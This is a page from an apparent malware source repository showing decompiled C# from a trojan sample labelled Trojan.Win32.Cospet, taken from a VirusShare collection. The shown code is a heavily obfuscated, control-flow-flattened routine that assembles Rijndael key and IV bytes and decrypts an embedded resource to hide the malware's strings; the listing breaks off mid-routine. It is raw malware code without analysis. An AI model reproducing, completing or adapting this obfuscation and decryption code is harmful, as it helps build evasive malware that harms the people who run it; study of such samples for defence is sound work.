MalwareSourceCode/MSIL/Trojan/Win32/C/Trojan.Win32.Cospet.iat-d5a913ab25c2ac01f6ad36151285d226598951b3a4f0b2d52c03e99ff09f0807/lIMo5cXu7QVSJ7hdyJ/tcJNIpeNWph4hwAAuQ.cs

2198 lines
62 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: lIMo5cXu7QVSJ7hdyJ.tcJNIpeNWph4hwAAuQ
// Assembly: Service, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 7876418B-9B45-4205-B20B-41AA64972C85
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Cospet.iat-d5a913ab25c2ac01f6ad36151285d226598951b3a4f0b2d52c03e99ff09f0807.exe
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using TmwCXiWu118CwLLcBx;
namespace lIMo5cXu7QVSJ7hdyJ
{
internal class tcJNIpeNWph4hwAAuQ
{
private static byte[] aBkr8wvyT = new byte[0];
private static byte[] \u003866Dc7PUe = new byte[0];
private static byte[] GL3ceA32Y = new byte[0];
private static byte[] snHmt3QZL = new byte[0];
private static IntPtr LZQJNUOtZ = IntPtr.Zero;
private static IntPtr M6stOwyKv = IntPtr.Zero;
private static object wAojqBjsI = (object) new string[0];
private static int[] sxZo6URQI = new int[0];
private static int sXYWo6h6h = 1;
private static bool yg15Kw0wX = false;
private static SortedList YYUXtNinR = new SortedList();
private static int \u0034hNMmVipp = 0;
private static long Kbgfvy7M9 = 0;
internal static tcJNIpeNWph4hwAAuQ.TIjMQaw2VtqJb1Fdv1 EOOKYeVaQ = (tcJNIpeNWph4hwAAuQ.TIjMQaw2VtqJb1Fdv1) null;
internal static tcJNIpeNWph4hwAAuQ.TIjMQaw2VtqJb1Fdv1 Qsu0lHnQX = (tcJNIpeNWph4hwAAuQ.TIjMQaw2VtqJb1Fdv1) null;
private static long wNW2UVxDF = 0;
private static int k67yLpDfA = 0;
private static bool pUgQnroTf = false;
private static int kGQnGYktJ = 0;
private static IntPtr DZ2uUjj1m = IntPtr.Zero;
internal static Dictionary<long, tcJNIpeNWph4hwAAuQ.T66qj7OdDGA22iJk98> \u0033JU6aGYaZ = new Dictionary<long, tcJNIpeNWph4hwAAuQ.T66qj7OdDGA22iJk98>();
[MethodImpl(MethodImplOptions.NoInlining)]
static tcJNIpeNWph4hwAAuQ()
{
}
[MethodImpl(MethodImplOptions.NoInlining)]
private void WaHJcrKmDbTxI()
{
}
[tcJNIpeNWph4hwAAuQ.BfvlDRFE57x0KNgMOl(typeof (tcJNIpeNWph4hwAAuQ\u002FBfvlDRFE57x0KNgMOl\u002F5JAHjnIB6CPlXvOV00<object>[]))]
[MethodImpl(MethodImplOptions.NoInlining)]
static string Uj1VGPQhn([In] int obj0)
{
int num1 = 315;
int num2;
while (true)
{
byte[] numArray1;
int num3;
byte[] numArray2;
int num4;
int num5;
BinaryReader binaryReader;
byte[] numArray3;
byte[] numArray4;
CryptoStream cryptoStream;
MemoryStream memoryStream;
RijndaelManaged rijndaelManaged;
byte[] numArray5;
byte[] numArray6;
ICryptoTransform transform;
int num6;
switch (num1)
{
case 0:
num4 = 246 - 82;
num1 = 349;
continue;
case 1:
numArray2[15] = (byte) num4;
num5 = 22;
goto label_342;
case 2:
numArray1[2] = (byte) num3;
num5 = 77;
goto label_342;
case 3:
num4 = 177 - 64;
num1 = 32;
continue;
case 4:
num4 = 196 - 65;
num1 = 79;
continue;
case 5:
numArray2[0] = (byte) num4;
num5 = 211;
goto label_342;
case 6:
numArray2[6] = (byte) (122 - 3);
num6 = 303;
break;
case 7:
num4 = 101 + 16;
num1 = 219;
continue;
case 8:
num4 = 173 - 116;
num6 = 68;
break;
case 9:
if (numArray4 != null)
{
num5 = 16;
if (true)
goto label_342;
else
goto case 52;
}
else
goto case 286;
case 10:
numArray2[9] = (byte) num4;
num6 = 100;
break;
case 11:
num4 = 171 - 57;
num5 = 307;
if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto case 307;
else
goto label_342;
case 12:
numArray2[22] = (byte) (24 + 56);
num5 = 295;
if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto label_342;
else
goto case 24;
case 13:
numArray2[3] = (byte) (72 + 39);
num1 = 234;
continue;
case 14:
numArray2[2] = (byte) (150 - 50);
num5 = 332;
if (true)
goto label_342;
else
goto case 114;
case 15:
num4 = 87 + 95;
num5 = 330;
if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto label_342;
else
goto case 229;
case 16:
if (numArray4.Length > 0)
{
num5 = 122;
if (true)
goto label_342;
else
goto case 182;
}
else
goto case 286;
case 17:
numArray2[0] = (byte) num4;
num5 = 167;
if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto case 316;
else
goto label_342;
case 18:
numArray2[20] = (byte) (139 + 30);
num1 = 318;
continue;
case 19:
numArray2[23] = (byte) (214 - 71);
num6 = 331;
break;
case 20:
numArray2[29] = (byte) (161 - 53);
num6 = 324;
break;
case 21:
num4 = 228 - 76;
num5 = 204;
if (true)
goto label_342;
else
goto case 300;
case 22:
num4 = 73 + 91;
num5 = 333;
if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto label_342;
else
goto case 48;
case 23:
numArray2[5] = (byte) (81 + 87);
num5 = 319;
if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto case 157;
else
goto label_342;
case 24:
numArray2[11] = (byte) num4;
num5 = 223;
if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto label_342;
else
goto case 115;
case 25:
numArray2[18] = (byte) num4;
num1 = 143;
continue;
case 26:
numArray2[30] = (byte) (123 + 55);
num5 = 235;
if (true)
goto label_342;
else
goto case 70;
case 27:
numArray1[2] = (byte) num3;
num1 = 312;
continue;
case 28:
numArray1[6] = (byte) num3;
num5 = 170;
goto label_342;
case 29:
num4 = 101 - 86;
num5 = 117;
if (true)
goto label_342;
else
goto case 236;
case 30:
num3 = 182 - 60;
num1 = 46;
continue;
case 31:
numArray2[16] = (byte) (175 - 58);
num6 = 238;
break;
case 32:
numArray2[4] = (byte) num4;
num6 = 150;
break;
case 33:
numArray1[13] = (byte) (70 + 89);
num5 = 231;
if (true)
goto label_342;
else
goto case 322;
case 34:
numArray1[15] = (byte) (168 - 56);
num6 = 221;
break;
case 35:
numArray2[29] = (byte) num4;
num5 = 21;
goto label_342;
case 36:
num4 = 162 - 54;
num1 = 154;
continue;
case 37:
numArray2[27] = (byte) (21 + 95);
num1 = 236;
continue;
case 38:
numArray2[19] = (byte) (253 - 84);
num5 = 67;
if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto case 313;
else
goto label_342;
case 39:
num4 = 191 - 63;
num6 = 70;
break;
case 40:
numArray2[30] = (byte) num4;
num5 = 26;
if (true)
goto label_342;
else
goto case 69;
case 41:
numArray2[9] = (byte) (163 - 54);
num6 = 207;
break;
case 42:
numArray1[1] = (byte) num3;
num5 = 65;
if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto case 318;
else
goto label_342;
case 43:
numArray1[3] = (byte) (78 + 123);
num5 = 112;
if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto label_342;
else
goto case 45;
case 44:
numArray2[19] = (byte) (5 + 123);
num6 = 38;
break;
case 45:
tcJNIpeNWph4hwAAuQ.BBLMx5yH9F58Ej6cea((object) rijndaelManaged, CipherMode.CBC);
num5 = 98;
goto label_342;
case 46:
numArray1[14] = (byte) num3;
num6 = 310;
break;
case 47:
numArray2[7] = (byte) num4;
num5 = 124;
if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto label_342;
else
goto case 338;
case 48:
num3 = 42 + 119;
num1 = 306;
continue;
case 49:
numArray2[0] = (byte) num4;
num1 = 335;
continue;
case 50:
num3 = 104 + 38;
num6 = 135;
break;
case 51:
num3 = 172 + 10;
num5 = 206;
if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto case 45;
else
goto label_342;
case 52:
num4 = 58 + 104;
num6 = 140;
break;
case 53:
numArray2[22] = (byte) (233 - 77);
num5 = 12;
if (true)
goto label_342;
else
goto case 155;
case 54:
numArray2[30] = (byte) (131 + 35);
num1 = 55;
continue;
case 55:
numArray2[31] = (byte) (226 - 75);
num6 = 52;
break;
case 56:
numArray2[27] = (byte) ((int) sbyte.MaxValue + 40);
num5 = 101;
goto label_342;
case 57:
num3 = 230 - 76;
num5 = 302;
if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto case 292;
else
goto label_342;
case 58:
num4 = 212 - 70;
num5 = 90;
if (true)
goto label_342;
else
goto case 261;
case 59:
num4 = 29 + 98;
num6 = 10;
break;
case 60:
numArray1[4] = (byte) num3;
num6 = 275;
break;
case 61:
numArray1[1] = (byte) (221 - 73);
num6 = 75;
break;
case 62:
numArray5[3] = numArray4[1];
num1 = 161;
continue;
case 63:
num4 = 97 + 95;
num6 = 138;
break;
case 64:
num4 = 172 - 57;
num6 = 337;
break;
case 65:
num3 = 208 - 69;
num1 = 115;
continue;
case 66:
num4 = 134 - 44;
num5 = 181;
if (true)
goto label_342;
else
goto case 136;
case 67:
num4 = 45 + 117;
num5 = 326;
if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto label_342;
else
goto case 218;
case 68:
numArray2[23] = (byte) num4;
num1 = 209;
continue;
case 69:
numArray2[2] = (byte) (18 + 58);
num1 = 14;
continue;
case 70:
numArray2[18] = (byte) num4;
num5 = 226;
if (true)
goto label_342;
else
goto case 189;
case 71:
numArray2[16] = (byte) (208 - 69);
num6 = 131;
break;
case 72:
num3 = 179 - 59;
num6 = 60;
break;
case 73:
numArray1[4] = (byte) num3;
num1 = 157;
continue;
case 74:
num3 = 83 + 62;
num5 = 325;
goto label_342;
case 75:
num3 = 108 + 107;
num5 = 159;
goto label_342;
case 76:
num3 = 25 + 107;
num1 = 265;
continue;
case 77:
num3 = 46 + 3;
num5 = 27;
if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto case 54;
else
goto label_342;
case 78:
numArray2[18] = (byte) num4;
num1 = 39;
continue;
case 79:
numArray2[17] = (byte) num4;
num1 = 188;
continue;
case 80:
numArray1 = new byte[16];
num5 = 136;
goto label_342;
case 81:
num4 = 98 + 103;
num6 = 248;
break;
case 82:
numArray1[8] = (byte) (194 - 64);
num5 = 278;
goto label_342;
case 83:
num4 = 190 - 63;
num5 = 25;
if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto case 25;
else
goto label_342;
case 84:
numArray2[20] = (byte) num4;
num1 = 18;
continue;
case 85:
cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write);
num5 = 182;
goto label_342;
case 86:
numArray2[17] = (byte) num4;
num5 = 94;
goto label_342;
case 87:
numArray2[13] = (byte) (97 - 18);
num5 = 284;
if (true)
goto label_342;
else
goto case 120;
case 88:
num3 = 32 + 8;
num6 = 334;
break;
case 89:
num4 = 61 + 117;
num1 = 213;
continue;
case 90:
numArray2[6] = (byte) num4;
num1 = 6;
continue;
case 91:
numArray2[3] = (byte) (54 + 56);
num6 = 13;
break;
case 92:
numArray2[1] = (byte) num4;
num1 = 69;
continue;
case 93:
numArray2[9] = (byte) num4;
num6 = 243;
break;
case 94:
num4 = 247 - 82;
num5 = 270;
if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto case 54;
else
goto label_342;
case 95:
numArray2[20] = (byte) (107 + 105);
num6 = 163;
break;
case 96:
numArray1[10] = (byte) (140 - 46);
num1 = 263;
continue;
case 97:
numArray2[14] = (byte) (30 + 124);
num5 = 347;
if (true)
goto label_342;
else
goto case 225;
case 98:
transform = (ICryptoTransform) tcJNIpeNWph4hwAAuQ.iiKPN0bEEIKMuOuMi3((object) rijndaelManaged, (object) numArray6, (object) numArray5);
num6 = 254;
break;
case 99:
num4 = 204 - 68;
num5 = 1;
if (true)
goto label_342;
else
goto case 237;
case 100:
numArray2[9] = (byte) (55 + 121);
num1 = 41;
continue;
case 101:
num4 = 166 - 55;
num6 = 197;
break;
case 102:
tcJNIpeNWph4hwAAuQ.m780xdZcMXPdcdM8wI((object) cryptoStream);
num1 = 147;
continue;
case 103:
numArray2[3] = (byte) num4;
num6 = 328;
break;
case 104:
num4 = 194 - 64;
num1 = 84;
continue;
case 105:
numArray2[22] = (byte) (204 + 8);
num1 = 19;
continue;
case 106:
numArray2[25] = (byte) num4;
num5 = 252;
goto label_342;
case 107:
num4 = 236 - 78;
num6 = 314;
break;
case 108:
numArray1[15] = (byte) num3;
num6 = 308;
break;
case 109:
numArray2[0] = (byte) ((int) sbyte.MaxValue - 42);
num5 = 169;
if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto label_342;
else
goto case 284;
case 110:
numArray2[16] = (byte) (186 + 48);
num5 = 4;
goto label_342;
case 111:
numArray1[13] = (byte) (248 - 82);
num6 = 33;
break;
case 112:
numArray1[3] = (byte) (62 + 2);
num1 = 215;
continue;
case 113:
numArray2[4] = (byte) num4;
num5 = 3;
if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto label_342;
else
goto case 110;
case 114:
numArray2[1] = (byte) (88 + 15);
num1 = 172;
continue;
case 115:
numArray1[1] = (byte) num3;
num6 = 74;
break;
case 116:
numArray2[26] = (byte) (161 - 53);
num1 = 175;
continue;
case 117:
numArray2[12] = (byte) num4;
num6 = 66;
break;
case 118:
numArray2[7] = (byte) num4;
num6 = 7;
break;
case 119:
num3 = 80 - 32;
num1 = 73;
continue;
case 120:
numArray2[25] = (byte) (67 + 124);
num1 = 346;
continue;
case 121:
numArray1[5] = (byte) (209 + 23);
num5 = 288;
if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto label_342;
else
goto case 74;
case 122:
numArray5[1] = numArray4[0];
num6 = 62;
break;
case 123:
numArray1[12] = (byte) (39 + 110);
num5 = 111;
goto label_342;
case 124:
numArray2[7] = (byte) (247 - 82);
num6 = 342;
break;
case 125:
numArray2[8] = (byte) (102 - 45);
num5 = 59;
if (true)
goto label_342;
else
goto case 179;
case 126:
// ISSUE: type reference
binaryReader = new BinaryReader((Stream) tcJNIpeNWph4hwAAuQ.UqbOGpq63TyLlUGXJW((object) tcJNIpeNWph4hwAAuQ.AcfijO9t4mjClQ6fva(__typeref (tcJNIpeNWph4hwAAuQ)).Assembly, (object) "61be7a78-12b9-44c2-bb22-b83cd81fb424"));
num5 = 313;
if (true)
goto label_342;
else
goto case 220;
case (int) sbyte.MaxValue:
num4 = 183 + 52;
num6 = 24;
break;
case 128:
num2 = tcJNIpeNWph4hwAAuQ.DVb3smulRceQ8RTb96((object) tcJNIpeNWph4hwAAuQ.GL3ceA32Y, obj0);
num6 = 351;
break;
case 129:
numArray2[21] = (byte) (178 - 59);
num1 = 287;
continue;
case 130:
numArray1[14] = (byte) num3;
num6 = 202;
break;
case 131:
num4 = 16 + 101;
num5 = 250;
goto label_342;
case 132:
numArray1[7] = (byte) (240 - 80);
num1 = 247;
continue;
case 133:
numArray2[27] = (byte) num4;
num5 = 348;
if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto label_342;
else
goto case 35;
case 134:
numArray2[8] = (byte) (33 + 51);
num5 = 195;
if (true)
goto label_342;
else
goto case 241;
case 135:
numArray1[14] = (byte) num3;
num1 = 298;
continue;
case 136:
num3 = (int) sbyte.MaxValue - 42;
num5 = 217;
if (true)
goto label_342;
else
goto case 207;
case 137:
num4 = 87 + 85;
num5 = 279;
if (true)
goto label_342;
else
goto case 0;
case 138:
numArray2[30] = (byte) num4;
num5 = 297;
if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto case 301;
else
goto label_342;
case 139:
numArray1[6] = (byte) (53 + 29);
num5 = 340;
if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto label_342;
else
goto case 331;
case 140:
numArray2[31] = (byte) num4;
num6 = 160;
break;
case 141:
num3 = 155 + 94;
num5 = 233;
goto label_342;
case 142:
numArray2[2] = (byte) (134 - 44);
num1 = 89;
continue;
case 143:
numArray2[18] = (byte) (219 - 73);
num1 = 256;
continue;
case 144:
num4 = 218 - 72;
num5 = 47;
if (true)
goto label_342;
else
goto case 140;
case 145:
numArray2[25] = (byte) num4;
num1 = 205;
continue;
case 146:
numArray1[2] = (byte) num3;
num6 = 43;
break;
case 147:
tcJNIpeNWph4hwAAuQ.GL3ceA32Y = (byte[]) tcJNIpeNWph4hwAAuQ.YclNYYegYZPuMd3xpB((object) memoryStream);
num1 = 180;
continue;
case 148:
numArray1[0] = (byte) (97 + 72);
num1 = 253;
continue;
case 149:
numArray2 = new byte[32];
num1 = 109;
continue;
case 150:
numArray2[5] = (byte) (175 - 58);
num1 = 214;
continue;
case 151:
numArray1[10] = (byte) (19 + 53);
num1 = 193;
continue;
case 152:
num4 = 141 - 124;
num6 = 251;
break;
case 153:
num4 = 208 - 69;
num6 = 86;
break;
case 154:
numArray2[28] = (byte) num4;
num1 = 107;
continue;
case 155:
num4 = 86 + 51;
num1 = 162;
continue;
case 156:
num4 = 41 + 38;
num5 = 49;
if (true)
goto label_342;
else
goto case 234;
case 157:
num3 = 134 - 44;
num1 = 259;
continue;
case 158:
num4 = 62 + 34;
num5 = 272;
if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto case 317;
else
goto label_342;
case 159:
numArray1[1] = (byte) num3;
num5 = 285;
if (true)
goto label_342;
else
goto case 13;
case 160:
num4 = 138 - 121;
num5 = 269;
goto label_342;
case 161:
numArray5[5] = numArray4[2];
num5 = 260;
if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto case 8;
else
goto label_342;
case 162:
numArray2[8] = (byte) num4;
num6 = 125;
break;
case 163:
numArray2[20] = (byte) (144 - 48);
num6 = 104;
break;
case 164:
numArray2[8] = (byte) num4;
num1 = 305;
continue;
case 165:
numArray2[1] = (byte) num4;
num5 = 179;
if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto case 336;
else
goto label_342;
case 166:
tcJNIpeNWph4hwAAuQ.kV3G5bdMkFMPo7RgZa((object) cryptoStream);
num1 = 230;
continue;
case 167:
num4 = 165 + 66;
num1 = 5;
continue;
case 168:
numArray2[26] = (byte) num4;
num6 = 343;
break;
case 169:
numArray2[0] = (byte) (236 - 78);
num5 = 156;
goto label_342;
case 170:
num3 = 101 - 87;
num5 = 282;
goto label_342;
case 171:
numArray1[13] = (byte) (178 - 100);
num1 = 30;
continue;
case 172:
num4 = 238 + 5;
num1 = 92;
continue;
case 173:
numArray1[10] = (byte) num3;
num1 = 96;
continue;
case 174:
numArray5[11] = numArray4[5];
num5 = 277;
if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto case 347;
else
goto label_342;
case 175:
num4 = 44 + 86;
num1 = 168;
continue;
case 176:
numArray2[0] = (byte) num4;
num1 = 228;
continue;
case 177:
num4 = 75 + 75;
num6 = 118;
break;
case 178:
num4 = 110 - 5;
num5 = 294;
if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto label_342;
else
goto case 121;
case 179:
numArray2[1] = (byte) (247 - 82);
num5 = 227;
goto label_342;
case 180:
tcJNIpeNWph4hwAAuQ.kV3G5bdMkFMPo7RgZa((object) memoryStream);
num6 = 166;
break;
case 181:
numArray2[13] = (byte) num4;
num1 = 158;
continue;
case 182:
tcJNIpeNWph4hwAAuQ.d7sHfO4N5DOZeigibM((object) cryptoStream, (object) numArray3, 0, numArray3.Length);
num5 = 102;
if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto case 110;
else
goto label_342;
case 183:
// ISSUE: type reference
numArray4 = (byte[]) tcJNIpeNWph4hwAAuQ.YBvqUig9DLUjnWySsQ(tcJNIpeNWph4hwAAuQ.YcrGL4NUCmnjFJYNgC((object) tcJNIpeNWph4hwAAuQ.AcfijO9t4mjClQ6fva(__typeref (tcJNIpeNWph4hwAAuQ)).Assembly));
num6 = 9;
break;
case 184:
numArray2[17] = (byte) (53 + 22);
num5 = 152;
if (true)
goto label_342;
else
goto case 257;
case 185:
numArray1[15] = (byte) num3;
num1 = 34;
continue;
case 186:
numArray6 = numArray2;
num6 = 80;
break;
case 187:
numArray1[8] = (byte) num3;
num5 = 57;
goto label_342;
case 188:
numArray2[17] = (byte) (3 + 88);
num5 = 153;
if (true)
goto label_342;
else
goto case 205;
case 189:
numArray2[16] = (byte) num4;
num1 = 71;
continue;
case 190:
numArray1[14] = (byte) num3;
num6 = 50;
break;
case 191:
numArray3 = (byte[]) tcJNIpeNWph4hwAAuQ.VaIBMZrM3OhKoOEnVs((object) binaryReader, (int) tcJNIpeNWph4hwAAuQ.ADhgXga9MB5V1Hqp3w(tcJNIpeNWph4hwAAuQ.nVE2fSvqA5eakI1h2r((object) binaryReader)));
num5 = 149;
goto label_342;
case 192:
numArray1[10] = (byte) num3;
num6 = 311;
break;
case 193:
num3 = 226 - 75;
num5 = 339;
goto label_342;
case 194:
numArray1[1] = (byte) num3;
num5 = 48;
if (true)
goto label_342;
else
goto case 34;
case 195:
numArray2[8] = (byte) (9 + 50);
num6 = 329;
break;
case 196:
num4 = 246 - 82;
num6 = 239;
break;
case 197:
numArray2[28] = (byte) num4;
num1 = 321;
continue;
case 198:
numArray2[12] = (byte) num4;
num5 = 271;
if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto case 192;
else
goto label_342;
case 199:
numArray2[4] = (byte) num4;
num5 = 299;
if (true)
goto label_342;
else
goto case 295;
case 200:
numArray2[23] = (byte) (139 - 46);
num6 = 8;
break;
case 201:
num3 = 54 + 69;
if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
{
num1 = 323;
continue;
}
num6 = 304;
break;
case 202:
num3 = 204 - 68;
num6 = 190;
break;
case 203:
numArray2[19] = (byte) (96 + 76);
num6 = 220;
break;
case 204:
numArray2[30] = (byte) num4;
num6 = 63;
break;
case 205:
num4 = 107 + 72;
num5 = 106;
goto label_342;
case 206:
numArray1[9] = (byte) num3;
num5 = 151;
if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto case 156;
else
goto label_342;
case 207:
num4 = 137 - 45;
num1 = 93;
continue;
case 208:
numArray2[10] = (byte) num4;
num1 = 64;
continue;
case 209:
numArray2[24] = (byte) (152 - 50);
num5 = 322;
goto label_342;
case 210:
num3 = 100 + 77;
num1 = 173;
continue;
case 211:
num4 = 82 + 81;
num6 = 165;
break;
case 212:
num4 = 73 + 111;
num5 = 103;
if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto case 193;
else
goto label_342;
case 213:
numArray2[2] = (byte) num4;
num6 = 91;
break;
case 214:
numArray2[5] = (byte) (25 + 79);
num6 = 23;
break;
case 215:
numArray1[3] = (byte) (49 + 89);
num5 = 336;
goto label_342;
case 216:
numArray2[2] = (byte) num4;
num1 = 142;
continue;
case 217:
numArray1[0] = (byte) num3;
num1 = 350;
continue;
case 218:
numArray2[28] = (byte) num4;
num6 = 36;
break;
case 219:
numArray2[7] = (byte) num4;
num5 = 144;
goto label_342;
case 220:
numArray2[20] = (byte) (172 - 57);
num6 = 196;
break;
case 221:
num3 = 54 - 40;
num5 = 108;
if (true)
goto label_342;
else
goto case 332;
case 222:
numArray2[29] = (byte) (74 + 45);
num5 = 20;
if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto case 57;
else
goto label_342;
case 223:
num4 = 187 - 62;
num6 = 198;
break;
case 224:
numArray2[7] = (byte) num4;
num5 = 134;
if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto case 241;
else
goto label_342;
case 225:
numArray1[10] = (byte) num3;
goto case 300;
case 226:
num4 = 56 - 16;
num6 = 344;
break;
case 227:
num4 = 10 + 37;
num1 = 338;
continue;
case 228:
num4 = 86 + 122;
num5 = 17;
goto label_342;
case 229:
numArray2[29] = (byte) (147 - 49);
num5 = 222;
if (true)
goto label_342;
else
goto case 303;
case 230:
tcJNIpeNWph4hwAAuQ.waXoBs6rVMnfUtwTXQ((object) binaryReader);
num6 = 128;
break;
case 231:
numArray1[13] = (byte) (74 + 88);
num6 = 171;
break;
case 232:
numArray2[27] = (byte) num4;
num6 = 37;
break;
case 233:
numArray1[11] = (byte) num3;
num1 = 264;
continue;
case 234:
numArray2[3] = (byte) (29 + 46);
num6 = 15;
break;
case 235:
numArray2[30] = (byte) (35 + 83);
num5 = 54;
if (true)
goto label_342;
else
goto case 156;
case 236:
num4 = 44 + 58;
num5 = 133;
if (true)
goto label_342;
else
goto case 85;
case 237:
numArray1[7] = (byte) (151 + 26);
num1 = 249;
continue;
case 238:
num4 = 60 + 85;
num6 = 189;
break;
case 239:
numArray2[20] = (byte) num4;
num5 = 95;
goto label_342;
case 240:
num4 = 43 + 94;
num5 = 257;
if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto case 98;
else
goto label_342;
case 241:
num3 = 22 + 108;
num6 = 2;
break;
case 242:
num4 = 19 + 25;
num1 = 345;
continue;
case 243:
numArray2[9] = (byte) (39 - 18);
num6 = 274;
break;
case 244:
numArray1[4] = (byte) num3;
num5 = 119;
goto label_342;
case 245:
num3 = 125 - 41;
num6 = 244;
break;
case 246:
numArray1[0] = (byte) num3;
num1 = 148;
continue;
case 247:
num3 = 58 + 58;
num1 = 293;
continue;
case 248:
numArray2[10] = (byte) num4;
num1 = 309;
continue;
case 249:
numArray1[8] = (byte) (4 + 37);
num5 = 281;
if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto case 19;
else
goto label_342;
case 250:
numArray2[16] = (byte) num4;
num1 = 110;
continue;
case 251:
numArray2[17] = (byte) num4;
num5 = 83;
if (true)
goto label_342;
else
goto case 158;
case 252:
num4 = 227 - 75;
num5 = 341;
if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto label_342;
else
goto case 104;
case 253:
num3 = 90 + 86;
num5 = 42;
if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto label_342;
else
goto case 287;
case 254:
memoryStream = new MemoryStream();
num1 = 85;
continue;
case (int) byte.MaxValue:
numArray2[15] = (byte) (146 - 48);
num1 = 99;
continue;
case 256:
num4 = 8 + 104;
num5 = 78;
if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto case 167;
else
goto label_342;
case 257:
numArray2[15] = (byte) num4;
num5 = (int) byte.MaxValue;
if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto label_342;
else
goto case 78;
case 258:
numArray5[15] = numArray4[7];
num5 = 286;
goto label_342;
case 259:
numArray1[5] = (byte) num3;
num5 = 273;
if (true)
goto label_342;
else
goto case 94;
case 260:
numArray5[7] = numArray4[3];
num5 = 292;
if (true)
goto label_342;
else
goto case 62;
case 261:
numArray2[14] = (byte) num4;
num5 = 0;
goto label_342;
case 262:
num4 = 194 + 28;
num1 = 35;
continue;
case 263:
num3 = 87 + 49;
num6 = 192;
break;
case 264:
numArray1[12] = (byte) (66 + 63);
num5 = 283;
goto label_342;
case 265:
numArray1[2] = (byte) num3;
num1 = 241;
continue;
case 266:
numArray2[15] = (byte) num4;
num5 = 31;
goto label_342;
case 267:
numArray2[8] = (byte) num4;
num1 = 155;
continue;
case 268:
numArray2[26] = (byte) (50 + 37);
num5 = 116;
goto label_342;
case 269:
numArray2[31] = (byte) num4;
num5 = 186;
if (true)
goto label_342;
else
goto case 194;
case 270:
numArray2[17] = (byte) num4;
num6 = 184;
break;
case 271:
num4 = 245 - 81;
num5 = 289;
if (true)
goto label_342;
else
goto case 272;
case 272:
numArray2[13] = (byte) num4;
num5 = 87;
if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1())
goto case 179;
else
goto label_342;
case 273:
numArray1[5] = (byte) (191 - 63);
num5 = 121;
if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL())
goto case 27;
else
goto label_342;
case 274:
num4 = 135 - 45;
num5 = 208;
if (true)
goto label_342;
else
goto case 130;
case 275:
numArray1[4] = (byte) (97 + 48);
num5 = 245;
goto label_342;
case 276:
num4 = 66 + 122;
num5 = 291;
goto label_342;
case 277:
numArray5[13] = numArray4[6];
num1 = 258;
continue;
case 278:
num3 = 33 - 13;
num1 = 187;
continue;
case 279:
numArray2[28] = (byte) num4;
num1 = 229;
continue;
case 280:
case 304:
numArray1[8] = (byte) num3;
num1 = 82;
continue;
case 281:
numArray1[8] = (byte) (16 + 5);
num1 = 201;
continue;
case 282:
numArray1[6] = (byte) num3;
num5 = 132;
goto label_342;
case 283:
numArray1[12] = (byte) (28 + 61);
num5 = 123;
goto label_342;
case 284:
num4 = 185 - 61;
num6 = 261;
break;
case 285:
num3 = 102 - 72;
num1 = 194;
continue;
case 286:
rijndaelManaged = new RijndaelManaged();
num6 = 45;
break;
case 287:
numArray2[21] = (byte) (60 + 73);
num5 = 53;
if (true)
goto label_342;
else
goto case 28;
